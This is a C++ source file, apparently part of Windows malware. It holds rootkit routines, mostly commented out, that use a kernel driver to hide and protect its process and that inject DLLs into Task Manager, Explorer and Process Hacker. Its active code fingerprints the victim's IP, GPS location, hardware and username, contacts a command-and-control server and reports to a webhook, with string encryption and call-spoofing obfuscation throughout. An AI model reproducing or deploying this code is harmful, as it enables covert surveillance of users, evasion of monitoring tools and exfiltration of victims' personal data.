776 lines
17 KiB
C++
Executable File
776 lines
17 KiB
C++
Executable File
#include <Windows.h>
|
|
#include <Wininet.h>
|
|
#include <Urlmon.h>
|
|
#include <string>
|
|
#include <sstream>
|
|
#include <vector>
|
|
#include <bitset>
|
|
#include <atlsecurity.h>
|
|
#include <functional>
|
|
#include <atlbase.h>
|
|
#include <codecvt>
|
|
#include <comdef.h>
|
|
#include <Wbemidl.h>
|
|
#include "Functions.h"
|
|
#include <lmcons.h>
|
|
#include <winrt/Windows.Foundation.h>
|
|
#include <winrt/Windows.Devices.Geolocation.h>
|
|
#include <unordered_set>
|
|
#include <locale>
|
|
#include <array>
|
|
#include <stdexcept>
|
|
#include <memory>
|
|
#pragma comment(lib, "dxgi.lib")
|
|
#include <dxgi.h>
|
|
|
|
|
|
|
|
using namespace winrt;
|
|
using namespace winrt::Windows::Devices::Geolocation;
|
|
using namespace winrt::Windows::Foundation;
|
|
|
|
std::unordered_set<std::string> ActionList;
|
|
|
|
#define code_rw CTL_CODE(FILE_DEVICE_UNKNOWN, 0x31, METHOD_BUFFERED, FILE_SPECIAL_ACCESS)
|
|
#define code_rs CTL_CODE(FILE_DEVICE_UNKNOWN, 0x35, METHOD_BUFFERED, FILE_SPECIAL_ACCESS)
|
|
#define code_spf CTL_CODE(FILE_DEVICE_UNKNOWN, 0x36, METHOD_BUFFERED, FILE_SPECIAL_ACCESS)
|
|
|
|
#define code_security 0x85b3e12
|
|
|
|
typedef struct _ba {
|
|
INT32 security;
|
|
INT32 process_id;
|
|
} ba, * pba;
|
|
|
|
|
|
typedef struct _rs {
|
|
INT32 security;
|
|
INT32 process_id;
|
|
BYTE Protection;
|
|
} rs, * prs;
|
|
|
|
typedef struct _spf {
|
|
INT32 security;
|
|
INT32 process_id;
|
|
INT32 spoof_id;
|
|
|
|
} spf, * pspf;
|
|
|
|
bool fail = false;
|
|
|
|
bool IsTskOn;
|
|
bool IsProcessHkrOn;
|
|
|
|
int lastpidex = 0;
|
|
int lastpidtsk = 0;
|
|
int lastpidphk = 0;
|
|
|
|
/*
|
|
void Rootingen()
|
|
{
|
|
SPOOF_FUNC;
|
|
|
|
try
|
|
{
|
|
|
|
DWORD pidex = SPOOF_CALL(GetProcessIdByName)(stringToWchar(EC("explorer.exe")));
|
|
|
|
if (pidex && (!lastpidex || lastpidex != pidex))
|
|
{
|
|
SPOOF_CALL(Sleep)(300);
|
|
|
|
////JUNK();
|
|
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pidex);
|
|
|
|
ManualMapDll(hProc, delele.data(), delele.size());
|
|
|
|
lastpidex = pidex;
|
|
|
|
CloseHandle(hProc);
|
|
}
|
|
|
|
DWORD pidtsk = SPOOF_CALL(GetProcessIdByName)(stringToWchar(EC("Taskmgr.exe")));
|
|
//std::cout << EC("Tskmgr PID ") << pidtsk << std::endl;
|
|
|
|
if (pidtsk && (!lastpidtsk || lastpidtsk != pidtsk))
|
|
{
|
|
SPOOF_CALL(Sleep)(50);
|
|
|
|
IsTskOn = true;
|
|
|
|
////JUNK();
|
|
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pidtsk);
|
|
|
|
ManualMapDll(hProc, deleletsk.data(), deleletsk.size());
|
|
|
|
lastpidtsk = pidtsk;
|
|
|
|
CloseHandle(hProc);
|
|
|
|
}
|
|
else if (!pidtsk)
|
|
{
|
|
IsTskOn = false;
|
|
}
|
|
|
|
DWORD pidphk = SPOOF_CALL(GetProcessIdByName)(stringToWchar(EC("ProcessHacker.exe")));
|
|
//std::cout << EC("Prchk PID ") << pidphk << std::endl;
|
|
|
|
if (pidphk && (!lastpidphk || lastpidphk != pidphk))
|
|
{
|
|
SPOOF_CALL(Sleep)(50);
|
|
|
|
IsProcessHkrOn = true;
|
|
|
|
////JUNK();
|
|
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pidphk);
|
|
|
|
ManualMapDll(hProc, deleletsk.data(), deleletsk.size());
|
|
|
|
lastpidphk = pidphk;
|
|
|
|
CloseHandle(hProc);
|
|
|
|
}
|
|
else if (!pidphk)
|
|
{
|
|
IsProcessHkrOn = false;
|
|
}
|
|
}
|
|
catch (...) {}
|
|
}
|
|
|
|
|
|
DWORD WINAPI MrRoot(void* data)
|
|
{
|
|
|
|
while (true)
|
|
{
|
|
__try
|
|
{
|
|
Rootingen();
|
|
}
|
|
__except (EXCEPTION_EXECUTE_HANDLER) {
|
|
continue;
|
|
}
|
|
}
|
|
|
|
////JUNK();
|
|
|
|
std::cout << EC("Starting Rttkit loop") << std::endl;
|
|
|
|
while (true)
|
|
{ }
|
|
|
|
return 0;
|
|
}
|
|
|
|
void RootLoop()
|
|
{
|
|
|
|
int PID = SPOOF_CALL(GetCurrentProcessId)();
|
|
std::cout << PID << std::endl;
|
|
|
|
////JUNK();
|
|
HANDLE deviceObject = CreateFile(EC(L"\\\\.\\msmodule"), GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
|
|
|
|
|
|
if (deviceObject == INVALID_HANDLE_VALUE) {
|
|
std::cout << EC("Cannot open driver, trying to map it.") << std::endl;
|
|
|
|
HPSol::fuckmeatm();
|
|
////JUNK();
|
|
|
|
std::cout << EC("Mapped, retrying.") << std::endl;
|
|
////JUNK();
|
|
|
|
deviceObject = CreateFile(EC(L"\\\\.\\msmodule"), GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
|
|
|
|
if (deviceObject == INVALID_HANDLE_VALUE) {
|
|
|
|
std::cout << EC("Rootkit Failed.") << std::endl;
|
|
////JUNK();
|
|
fail = true;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
if (!fail)
|
|
{
|
|
std::cout << EC("Sending Rootkit Commands") << std::endl;
|
|
|
|
int driverOutput = 0;
|
|
|
|
_ba req = {0};
|
|
req.process_id = PID;
|
|
req.security = code_security;
|
|
|
|
if (DeviceIoControl(deviceObject, code_rw, &req, sizeof(_ba), &driverOutput, sizeof(int), 0, NULL)) {
|
|
|
|
std::cout << EC("[RTTKIT] Hide sent") << std::endl;
|
|
}
|
|
else {
|
|
std::cout << EC("[RTTKIT] Hide error") << std::endl;
|
|
}
|
|
|
|
int driverOutput2 = 0;
|
|
|
|
_rs req2 = { 0 };
|
|
req2.process_id = PID;
|
|
req2.Protection = 0x41;
|
|
req2.security = code_security;
|
|
|
|
if (DeviceIoControl(deviceObject, code_rs, &req2, sizeof(_rs), &driverOutput2, sizeof(int), 0, NULL)) {
|
|
|
|
std::cout << EC("[RTTKIT] Protect sent") << std::endl;
|
|
}
|
|
else {
|
|
std::cout << EC("[RTTKIT] Protect error") << std::endl;
|
|
}
|
|
|
|
SPOOF_CALL(Sleep)(1500);
|
|
|
|
|
|
int driverOutput3 = 0;
|
|
|
|
_spf req3 = { 0 };
|
|
req3.process_id = PID;
|
|
req3.spoof_id = 5217;
|
|
req3.security = code_security;
|
|
|
|
if (DeviceIoControl(deviceObject, code_spf, &req3, sizeof(_spf), &driverOutput3, sizeof(int), 0, NULL)) {
|
|
|
|
std::cout << EC("[RTTKIT] Spuf sent") << std::endl;
|
|
}
|
|
else {
|
|
std::cout << EC("[RTTKIT] Spuf error") << std::endl;
|
|
}
|
|
|
|
|
|
SPOOF_CALL(CloseHandle)(deviceObject);
|
|
////JUNK();
|
|
|
|
}
|
|
|
|
|
|
CreateThread(NULL, 0, MrRoot, NULL, 0, NULL);
|
|
}*/
|
|
|
|
|
|
|
|
void RootkitInit()
|
|
{
|
|
SPOOF_FUNC;
|
|
|
|
|
|
/*int PID = SPOOF_CALL(GetCurrentProcessId)();
|
|
std::cout << PID << std::endl;
|
|
|
|
////JUNK();
|
|
HANDLE deviceObject = CreateFile(EC(L"\\\\.\\msmodule"), GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
|
|
|
|
|
|
if (deviceObject == INVALID_HANDLE_VALUE) {
|
|
std::cout << EC("Cannot open driver, trying to map it.") << std::endl;
|
|
|
|
HPSol::fuckmeatm();
|
|
////JUNK();
|
|
|
|
std::cout << EC("Mapped, retrying.") << std::endl;
|
|
////JUNK();
|
|
|
|
deviceObject = CreateFile(EC(L"\\\\.\\msmodule"), GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
|
|
|
|
if (deviceObject == INVALID_HANDLE_VALUE) {
|
|
|
|
std::cout << EC("Rootkit Failed.") << std::endl;
|
|
////JUNK();
|
|
fail = true;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
if (!fail)
|
|
{
|
|
std::cout << EC("Sending Rootkit Commands") << std::endl;
|
|
|
|
int driverOutput = 0;
|
|
|
|
_ba req = { 0 };
|
|
req.process_id = PID;
|
|
req.security = code_security;
|
|
|
|
if (DeviceIoControl(deviceObject, code_rw, &req, sizeof(_ba), &driverOutput, sizeof(int), 0, NULL)) {
|
|
|
|
std::cout << EC("[RTTKIT] Hide sent") << std::endl;
|
|
}
|
|
else {
|
|
std::cout << EC("[RTTKIT] Hide error") << std::endl;
|
|
}*/
|
|
|
|
/*int driverOutput2 = 0;
|
|
|
|
_rs req2 = { 0 };
|
|
req2.process_id = PID;
|
|
req2.Protection = 0x41;
|
|
req2.security = code_security;
|
|
|
|
if (DeviceIoControl(deviceObject, code_rs, &req2, sizeof(_rs), &driverOutput2, sizeof(int), 0, NULL)) {
|
|
|
|
std::cout << EC("[RTTKIT] Protect sent") << std::endl;
|
|
}
|
|
else {
|
|
std::cout << EC("[RTTKIT] Protect error") << std::endl;
|
|
}
|
|
|
|
SPOOF_CALL(Sleep)(1500);
|
|
|
|
|
|
int driverOutput3 = 0;
|
|
|
|
_spf req3 = { 0 };
|
|
req3.process_id = PID;
|
|
req3.spoof_id = 4;
|
|
req3.security = code_security;
|
|
|
|
if (DeviceIoControl(deviceObject, code_spf, &req3, sizeof(_spf), &driverOutput3, sizeof(int), 0, NULL)) {
|
|
|
|
std::cout << EC("[RTTKIT] Spuf sent") << std::endl;
|
|
}
|
|
else {
|
|
std::cout << EC("[RTTKIT] Spuf error") << std::endl;
|
|
}
|
|
|
|
|
|
SPOOF_CALL(CloseHandle)(deviceObject);
|
|
////JUNK();
|
|
|
|
}*/
|
|
|
|
//CreateThread(NULL, 0, RootLoop, NULL, 0, NULL);
|
|
|
|
|
|
|
|
|
|
}
|
|
|
|
/*
|
|
void GivePerms()
|
|
{
|
|
SPOOF_FUNC;
|
|
|
|
try
|
|
{
|
|
const wchar_t* keyPath = EC(L"Software\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\location");
|
|
const wchar_t* valueName = EC(L"Value");
|
|
const wchar_t* newValue = EC(L"Allow");
|
|
|
|
////JUNK();
|
|
|
|
|
|
HKEY hKey;
|
|
LONG openResult = RegCreateKeyExW(HKEY_CURRENT_USER, keyPath, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL);
|
|
|
|
if (openResult == ERROR_SUCCESS)
|
|
{
|
|
try
|
|
{
|
|
// Set the new value
|
|
RegSetValueExW(hKey, valueName, 0, REG_SZ, (BYTE*)newValue, (wcslen(newValue) + 1) * sizeof(wchar_t));
|
|
std::wcout << EC(L"Registry key updated successfully.") << std::endl;
|
|
}
|
|
catch (std::exception& ex)
|
|
{
|
|
std::wcout << EC(L"Error: ") << ex.what() << std::endl;
|
|
}
|
|
|
|
// Close the registry key
|
|
RegCloseKey(hKey);
|
|
}
|
|
else
|
|
{
|
|
std::wcout << EC(L"Registry key not found, and unable to create it.") << std::endl;
|
|
}
|
|
}
|
|
catch (std::exception& ex)
|
|
{
|
|
std::wcout << EC(L"Exception: ") << ex.what() << std::endl;
|
|
}
|
|
|
|
try
|
|
{
|
|
const wchar_t* keyPath2 = EC(L"Software\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\location\\NonPackaged");
|
|
const wchar_t* valueName2 = EC(L"Value");
|
|
const wchar_t* newValue2 = EC(L"Allow");
|
|
|
|
HKEY hKey2;
|
|
LONG openResult2 = RegCreateKeyExW(HKEY_CURRENT_USER, keyPath2, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey2, NULL);
|
|
|
|
if (openResult2 == ERROR_SUCCESS)
|
|
{
|
|
try
|
|
{
|
|
// Set the new value
|
|
RegSetValueExW(hKey2, valueName2, 0, REG_SZ, (BYTE*)newValue2, (wcslen(newValue2) + 1) * sizeof(wchar_t));
|
|
std::wcout << EC(L"Registry2 key updated successfully.") << std::endl;
|
|
}
|
|
catch (std::exception& ex)
|
|
{
|
|
std::wcout << EC(L"Error2: ") << ex.what() << std::endl;
|
|
}
|
|
|
|
// Close the registry key
|
|
RegCloseKey(hKey2);
|
|
}
|
|
else
|
|
{
|
|
std::wcout << EC(L"Registry2 key not found, and unable to create it.") << std::endl;
|
|
}
|
|
}
|
|
catch (std::exception& ex)
|
|
{
|
|
std::wcout << EC(L"Exception: ") << ex.what() << std::endl;
|
|
}
|
|
}*/
|
|
|
|
|
|
|
|
std::string GetIpRiyal()
|
|
{
|
|
SPOOF_FUNC;
|
|
|
|
std::string result;
|
|
|
|
// Try to get IP from checkip.amazonaws.com
|
|
HINTERNET hInternet = InternetOpen(EC(L"A WinINet Example Program"), INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
|
|
if (hInternet)
|
|
{
|
|
HINTERNET hConnect = InternetOpenUrl(hInternet, L"http://checkip.amazonaws.com/", NULL, 0, INTERNET_FLAG_RELOAD, 0);
|
|
if (hConnect)
|
|
{
|
|
char buffer[4096];
|
|
DWORD bytesRead;
|
|
if (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0)
|
|
{
|
|
buffer[bytesRead] = '\0';
|
|
result = buffer;
|
|
}
|
|
InternetCloseHandle(hConnect);
|
|
}
|
|
InternetCloseHandle(hInternet);
|
|
}
|
|
|
|
////JUNK();
|
|
|
|
|
|
if (result.empty())
|
|
{
|
|
// Try other services if the first one fails
|
|
const char* urls[] = {
|
|
EC("https://ipinfo.io/ip"),
|
|
EC("https://api.ipify.org"),
|
|
EC("https://icanhazip.com"),
|
|
EC("https://wtfismyip.com/text"),
|
|
EC("http://bot.whatismyipaddress.com/")
|
|
};
|
|
|
|
for (const char* url : urls)
|
|
{
|
|
hInternet = InternetOpen(EC(L"A WinINet Example Program"), INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
|
|
if (hInternet)
|
|
{
|
|
HINTERNET hConnect = InternetOpenUrl(hInternet, Utf8ToWide(url).c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0);
|
|
if (hConnect)
|
|
{
|
|
char buffer[4096];
|
|
DWORD bytesRead;
|
|
if (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0)
|
|
{
|
|
buffer[bytesRead] = '\0';
|
|
result = buffer;
|
|
break;
|
|
}
|
|
InternetCloseHandle(hConnect);
|
|
}
|
|
InternetCloseHandle(hInternet);
|
|
}
|
|
}
|
|
}
|
|
|
|
if (result.empty())
|
|
{
|
|
// Try another method if all else fails
|
|
hInternet = InternetOpen(EC(L"A WinINet Example Program"), INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
|
|
if (hInternet)
|
|
{
|
|
HINTERNET hConnect = InternetOpenUrl(hInternet, L"http://checkip.dyndns.org/", NULL, 0, INTERNET_FLAG_RELOAD, 0);
|
|
if (hConnect)
|
|
{
|
|
char buffer[4096];
|
|
DWORD bytesRead;
|
|
if (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0)
|
|
{
|
|
buffer[bytesRead] = '\0';
|
|
std::string response(buffer);
|
|
size_t start = response.find(EC("Address: ")) + 9;
|
|
size_t end = response.find(EC("</body>")) - start;
|
|
result = response.substr(start, end);
|
|
}
|
|
InternetCloseHandle(hConnect);
|
|
}
|
|
InternetCloseHandle(hInternet);
|
|
}
|
|
}
|
|
|
|
return result;
|
|
}
|
|
|
|
|
|
|
|
void GetGPSReal(double& lat, double& lon, double& acc)
|
|
{
|
|
winrt::init_apartment();
|
|
|
|
// Create a Geolocator object
|
|
Geolocator geolocator;
|
|
|
|
// Get the geoposition asynchronously
|
|
Geoposition pos = geolocator.GetGeopositionAsync().get();
|
|
|
|
// Extract the latitude and longitude
|
|
lat = pos.Coordinate().Point().Position().Latitude;
|
|
lon = pos.Coordinate().Point().Position().Longitude;
|
|
acc = pos.Coordinate().Accuracy();
|
|
}
|
|
|
|
|
|
void GetGPS(double& lat, double& lon, double& acc)
|
|
{
|
|
|
|
__try
|
|
{
|
|
GetGPSReal(lat, lon, acc);
|
|
}
|
|
__except (EXCEPTION_EXECUTE_HANDLER) {
|
|
lat = 31;
|
|
lon = 31;
|
|
acc = 31;
|
|
}
|
|
|
|
}
|
|
|
|
std::string GetCpuName()
|
|
{
|
|
SPOOF_FUNC;
|
|
|
|
////JUNK();
|
|
|
|
try
|
|
{
|
|
WCHAR value[1012];
|
|
DWORD BufferSize = sizeof(value);
|
|
RegGetValue(HKEY_LOCAL_MACHINE, EC(L"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"), EC(L"ProcessorNameString"), RRF_RT_REG_SZ, NULL, (PVOID)value, &BufferSize);
|
|
|
|
return wcharToString(value);
|
|
}
|
|
catch (...)
|
|
{
|
|
return EC("Error");
|
|
}
|
|
|
|
}
|
|
|
|
std::string GetGPUNamear() {
|
|
IDXGIFactory* pFactory;
|
|
IDXGIAdapter* pAdapter;
|
|
std::string gpuName = EC("Unknown");
|
|
|
|
if (SUCCEEDED(CreateDXGIFactory(__uuidof(IDXGIFactory), (void**)&pFactory))) {
|
|
if (SUCCEEDED(pFactory->EnumAdapters(0, &pAdapter))) {
|
|
DXGI_ADAPTER_DESC desc;
|
|
if (SUCCEEDED(pAdapter->GetDesc(&desc))) {
|
|
char buffer[128];
|
|
wcstombs(buffer, desc.Description, sizeof(buffer));
|
|
gpuName = std::string(buffer);
|
|
}
|
|
pAdapter->Release();
|
|
}
|
|
pFactory->Release();
|
|
}
|
|
return gpuName;
|
|
}
|
|
|
|
void GetGpuName(std::string& gpu, int& Vram)
|
|
{
|
|
SPOOF_FUNC;
|
|
|
|
std::vector<DXGI_ADAPTER_DESC1> Cards;
|
|
|
|
HRESULT hr;
|
|
IDXGIFactory1* pFactory = nullptr;
|
|
|
|
// Create a DXGI Factory
|
|
hr = CreateDXGIFactory1(__uuidof(IDXGIFactory1), (void**)(&pFactory));
|
|
if (FAILED(hr)) {
|
|
std::cerr << EC("Failed to create DXGI Factory.\n");
|
|
gpu = EC("GPU Error");
|
|
}
|
|
else
|
|
{
|
|
// Enumerate the adapters (GPUs)
|
|
IDXGIAdapter1* pAdapter = nullptr;
|
|
bool gpuFound = false;
|
|
for (UINT i = 0; pFactory->EnumAdapters1(i, &pAdapter) != DXGI_ERROR_NOT_FOUND; ++i) {
|
|
DXGI_ADAPTER_DESC1 adapterDesc;
|
|
pAdapter->GetDesc1(&adapterDesc);
|
|
|
|
// Skip software adapters (e.g., Microsoft Basic Render Driver)
|
|
if (adapterDesc.Flags & DXGI_ADAPTER_FLAG_SOFTWARE) {
|
|
continue;
|
|
}
|
|
|
|
Cards.push_back(adapterDesc);
|
|
gpuFound = true;
|
|
|
|
pAdapter->Release();
|
|
}
|
|
|
|
if (!gpuFound) {
|
|
std::cout << EC("No valid hardware GPU found.\n");
|
|
}
|
|
|
|
pFactory->Release();
|
|
|
|
// Check for Nvidia, AMD, Intel, or no compatible GPU
|
|
gpu = EC("No Compatible GPU");
|
|
|
|
for (const auto& card : Cards) {
|
|
|
|
std::wstring wDescription(card.Description);
|
|
std::string description(wDescription.begin(), wDescription.end());
|
|
|
|
if (description.find(EC("NVIDIA")) != std::string::npos) {
|
|
gpu = description;
|
|
Vram = 8;
|
|
break;
|
|
}
|
|
else if (description.find(EC("AMD")) != std::string::npos || description.find(EC("Radeon")) != std::string::npos) {
|
|
gpu = description;
|
|
Vram = 8;
|
|
break;
|
|
}
|
|
}
|
|
|
|
// If no Nvidia or AMD GPU is found, check for Intel GPU
|
|
if (gpu == EC("No Compatible GPU")) {
|
|
for (const auto& card : Cards) {
|
|
|
|
std::wstring wDescription(card.Description);
|
|
std::string description(wDescription.begin(), wDescription.end());
|
|
|
|
if (description.find(EC("Intel")) != std::string::npos) {
|
|
gpu = description;
|
|
Vram = 8;
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
bool hasFourOrMoreDots(const std::string& str) {
|
|
int dotCount = 0;
|
|
|
|
for (char ch : str) {
|
|
if (ch == '.') {
|
|
dotCount++;
|
|
if (dotCount >= 4) {
|
|
return true;
|
|
}
|
|
}
|
|
}
|
|
|
|
return false;
|
|
|
|
}
|
|
|
|
string RealIP()
|
|
{
|
|
SPOOF_FUNC;
|
|
|
|
try
|
|
{
|
|
////JUNK();
|
|
string Dwnld = DownloadString(dmns, EC("/index.php?security=2&type=rtttry"));//
|
|
std::cout << EC("IP Result: ") << Dwnld << std::endl;
|
|
|
|
if (Dwnld.empty()) {
|
|
SendWBHK(hwidglobal + EC(" IP Empty Error: ") + Dwnld);
|
|
return EC("");
|
|
}
|
|
|
|
string url = Decrypt(Dwnld, EC("mysekretuwu"));//
|
|
std::cout << url << std::endl;
|
|
|
|
if (hasFourOrMoreDots(url)) {
|
|
SendWBHK(hwidglobal + EC(" IP Usual Error: ") + url);
|
|
return EC("");
|
|
}
|
|
|
|
return url;
|
|
}
|
|
catch (const std::exception& e)
|
|
{
|
|
printf(EC("Error On Real IP"));
|
|
return "";
|
|
}
|
|
}
|
|
|
|
|
|
|
|
std::string GetCountryName()
|
|
{
|
|
SPOOF_FUNC;
|
|
|
|
// Get the current user locale
|
|
LCID locale = GetUserDefaultLCID();
|
|
|
|
// Get the ISO 3166 two-letter country/region code
|
|
char country[3];
|
|
GetLocaleInfoA(locale, LOCALE_SISO3166CTRYNAME, country, sizeof(country));
|
|
|
|
return country;
|
|
}
|
|
|
|
|
|
std::string GetWindowsVersion() {
|
|
SPOOF_FUNC;
|
|
|
|
std::cout << "Windows Version: " << USER_SHARED_DATA->NtBuildNumber << "\n";
|
|
|
|
if (USER_SHARED_DATA->NtBuildNumber >= 22000)
|
|
{
|
|
return "11";
|
|
}
|
|
else
|
|
{
|
|
return "10";
|
|
}
|
|
}
|
|
|
|
std::string GetCurrentUserName()
|
|
{
|
|
|
|
DWORD bufferLength = UNLEN + 1;
|
|
char username[UNLEN + 1];
|
|
if (GetUserNameA(username, &bufferLength))
|
|
{
|
|
return username;
|
|
}
|
|
else
|
|
{
|
|
return EC("Unknown");
|
|
}
|
|
} |